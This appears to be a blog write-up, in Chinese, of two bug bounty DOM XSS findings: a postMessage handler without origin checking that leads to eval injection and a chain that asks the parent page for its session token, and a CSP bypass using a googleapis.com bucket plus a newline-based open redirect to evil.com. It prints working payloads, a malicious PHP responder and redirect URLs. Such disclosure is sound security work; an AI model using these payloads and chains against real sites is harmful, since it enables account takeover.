DOM XSS漏洞挖掘实战:绕过CSP与postMessage攻击解析

本文通过两个真实案例详细解析DOM型XSS漏洞的挖掘过程,包括利用postMessage机制绕过同源策略、通过恶意域名控制实现代码注入,以及结合CSP绕过技术完成攻击链的完整实践。

解决DOM XSS难题

DOM型跨站脚本(XSS)漏洞是我最喜欢利用的漏洞类型之一。这有点像解谜题:有时你会遇到像$.html()这样的边角片段,有时则必须依赖试错法。最近我在漏洞赏金项目中遇到了两个有趣的postMessage DOM XSS漏洞,满足了我解谜的渴望。

谜题A:邮差问题 🔗

近年来,postMessage已成为XSS漏洞的常见来源。随着开发者转向客户端JavaScript框架,经典的服务器端渲染XSS漏洞逐渐消失。取而代之的是,前端使用异步通信流(如postMessage和WebSocket)来动态修改内容。

我使用Frans Rosén的postmessage-tracker工具来监控postMessage调用。这款Chrome扩展能在检测到postMessage调用时发出警报,并枚举从源到接收器的路径。然而,虽然postMessage调用很常见,但大多数都是误报,需要手动验证。

在浏览A公司网站https://feedback.companyA.com/时,postmessage-tracker通知我一个特别有趣的调用,源自iFrame https://abc.cloudfront.net/iframe_chat.html

1
2
3
4
5
6
window.addEventListener("message", function(e) {
// ...
    } else if (e.data.type =='ChatSettings') {
         if (e.data.iframeChatSettings) {
             window.settingsSync =  e.data.iframeChatSettings;
// ...

postMessage处理程序检查消息数据(e.data)是否包含与ChatSettings匹配的type值。如果是,则将window.settingsSync设置为e.data.iframeChatSettings。它没有执行任何来源检查——这对漏洞猎人来说总是个好兆头,因为消息可以从任何攻击者控制的域发送。

window.settingsSync有什么用?通过在Burp中搜索这个字符串,我发现了https://abc.cloudfront.net/third-party.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
else if(window.settingsSync.environment == "production"){
  var region = window.settingsSync.region;
  var subdomain = region.split("_")[1]+'-'+region.split("_")[0]
  domain = 'https://'+subdomain+'.settingsSync.com'
}
var url = domain+'/public/ext_data'

request.open('POST', url, true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.onload = function () {
  if (request.status == 200) {
    var data = JSON.parse(this.response);
...
    window.settingsSync = data;
...
    var newScript = 'https://abc.cloudfront.net/module-v'+window.settingsSync.versionNumber+'.js';
    loadScript(document, newScript);

如果window.settingsSync.environment == “production”,window.settingsSync.region将被重新排列成子域名并插入到domain = ‘https://’+subdomain+’.settingsSync.com中。这个URL随后将用于POST请求。响应将被解析为JSON并设置window.settingsSync。接着,window.settingsSync.versionNumber被用来构建一个加载新JavaScript文件的URL:var newScript = ‘https://abc.cloudfront.net/module-v'+window.settingsSync.versionNumber+'.js'

在典型场景中,页面会加载https://abc.cloudfront.net/module-v2.js:

1
2
3
config = window.settingsSync.config;
// ...
eval("window.settingsSync.configs."+config)

啊哈!eval是一个简单的接收器,将其字符串参数作为JavaScript执行。如果我控制了config,我就可以执行任意JavaScript!

但是,我如何操纵domain以匹配我的恶意服务器而不是*.settingsSync.com?我再次检查了代码:

1
2
3
  var region = window.settingsSync.region;
  var subdomain = region.split("_")[1]+'-'+region.split("_")[0]
  domain = 'https://'+subdomain+'.settingsSync.com'

我注意到,由于消毒不足和简单的连接,像.my.website/malicious.php?_bad这样的window.settingsSync.region值将被重新排列成https://bad-.my.website/malicious.php?.settingsSync.com!现在domain指向bad-.my.website,一个有效的攻击者控制域,向POST请求提供恶意负载。

我在我的服务器上创建了malicious.php,通过捕获来自原始目标的响应来发送有效响应。我将所选配置的名称修改为我的XSS负载:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin: ' . $origin);
header('Access-Control-Allow-Headers: cache-control');
header("Content-Type: application/json; charset=UTF-8");

echo '{
    "versionNumber": "2",
    "config": "a;alert()//",
    "configs": {
        "a": "a"
    }
    ...
}'
?>

基于这个响应,接收器现在将执行:

1
eval("window.settingsSync.configs.a;alert()//")

从我自己的域,我生成了包含易受攻击iFrame的页面:var child = window.open(“https://feedback.companyA.com/"),然后用child.frames[1].postMessage(…)发送PostMessage负载。就这样,警报框弹出了!

然而,我还需要最后一块拼图。由于XSS在iFrame https://abc.cloudfront.net/iframe_chat.html的上下文中执行,而不是在https://feedback.companyA.com/中,因此没有实际影响;这就像在外部域上执行XSS一样。我需要以某种方式利用iFrame中的这个XSS来访问父窗口https://feedback.companyA.com/。

幸运的是,https://feedback.companyA.com/包含了另一个有趣的postMessage处理程序:

1
2
3
4
5
6
    }, d = document.getElementById("iframeChat"), window.addEventListener("message", function(m) {
        var e;
        "https://abc.cloudfront.net" === m.origin && ("IframeLoaded" == m.data.type && d.contentWindow.postMessage({
            type: "credentialConfig",
            credentialConfig: credentialConfig
        }, "*"))

https://feedback.companyA.com/创建了一个PostMessage监听器,验证消息来源为https://abc.cloudfront.net。如果消息数据类型是IframeLoaded,它会发送一个带有credentialConfig数据的PostMessage回来。

credentialConfig包括一个会话令牌:

1
2
3
4
5
6
{
    "region": "en-uk",
    "environment": "production",
    "userId": "<USERID>",
    "sessionToken": "Bearer <SESSIONTOKEN>"
}

因此,通过发送PostMessage来触发https://abc.cloudfront.net/iframe_chat.html上的XSS,XSS将运行任意JavaScript,从https://abc.cloudfront.net/iframe_chat.html发送另一个PostMessage到https://feedback.companyA.com/,从而泄露会话令牌。

基于此,我修改了XSS负载:

1
2
3
4
5
6
7
{
    "versionNumber": "2",
    "config": "a;window.addEventListener(`message`, (event) => {alert(JSON.stringify(event.data))});parent.postMessage({type:`IframeLoaded`},`*`)//",
    "configs": {
        "a": "a
    }
}

XSS从父iFrame在https://feedback.companyA.com/上接收会话数据,并将被盗的sessionToken外泄到攻击者控制的服务器(我这里简单地使用了alert)。

谜题B:用换行符开放重定向绕过CSP 🔗

在探索B公司的OAuth流程时,我注意到其OAuth授权页面有些奇怪。通常,OAuth授权页面会提供某种确认按钮来链接账户。例如,这是Twitter的OAuth授权页面,用于登录GitLab:

B公司的页面使用以下格式的URL:https://accept.companyb/confirmation?domain=oauth.companyb.com&state=&client=。一旦页面加载,它会动态发送GET请求到oauth.companyb.com/oauth_data?clientID=。这会返回一些数据来填充页面内容:

1
2
3
4
5
6
7
8
{
    "app": {
        "logoUrl": <PAGE LOGO URL>,
        "name": <NAME>,
        "link": <URL> ,
        "introduction": "A cool app!"
    }
}

通过玩弄这个响应数据,我意识到introduction被注入到页面中,没有任何消毒。如果我能控制GET请求的目的地以及随后的响应,就有可能引起XSS。

幸运的是,domain参数似乎允许我控制GET请求的域。然而,当我将其设置为我自己的域时,请求未能执行并引发了内容安全策略(CSP)错误。我快速检查了页面的CSP:

1
Content-Security-Policy: default-src 'self' 'unsafe-inline' *.companyb.com *.googleapis.com; script-src 'self' https: *.companyb.com; object-src 'none';

当进行动态HTTP请求时,它们遵循connect-src CSP规则。在这种情况下,default-src规则意味着只允许对*.companyb.com和*.googleapis.com的请求。不幸的是,对该公司来说,*.googleapis.com造成了一个大漏洞:由于Google Cloud Storage文件托管在storage.googleapis.com上,我仍然可以发送请求到我的攻击者控制的存储桶!此外,CORS不会成为问题,因为Google Cloud允许用户设置存储桶的CORS策略。

我快速在https://storage.googleapis.com/myevilbucket/oauth_data.json上托管了一个JSON文件,文本为<script>alert()</script>,然后浏览到https://accept.companyb/confirmation?domain=storage.googleapis.com/myevilbucket/oauth_data.json%3F&state=&client=。页面成功请求了我的文件https://storage.googleapis.com/myevilbucket/oauth_data.json?clientID=,然后……什么也没发生。

还有一个问题:script-src的CSP只允许self或*.companyb.com用于HTTPS。幸运的是,我在t.companyb.com上有一个开放重定向,为这种情况保存。易受攻击的端点会重定向到url参数的值,但验证参数是否以companyb.com结尾。然而,它允许在子域部分使用换行符%0A,这将被浏览器截断,使得http://t.companyb.com/redirect?url=http%3A%2F%2Fevil.com%0A.companyb.com%2F实际上重定向到https://evil.com/%0A.companyb.com/而不是。

通过使用这个绕过创建开放重定向,我将最终的XSS负载保存在我的Web服务器文档根目录中的<换行字符>.companyb.com。然后我注入了一个script标签,其src指向开放重定向,这通过了CSP但最终重定向到最终负载。

结论 🔗

两家公司都因为我的XSS报告的复杂性和绕过强化执行环境的能力而给予了奖金。希望通过记录我的思考过程,你也能获得一些额外的技巧来解决DOM XSS难题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计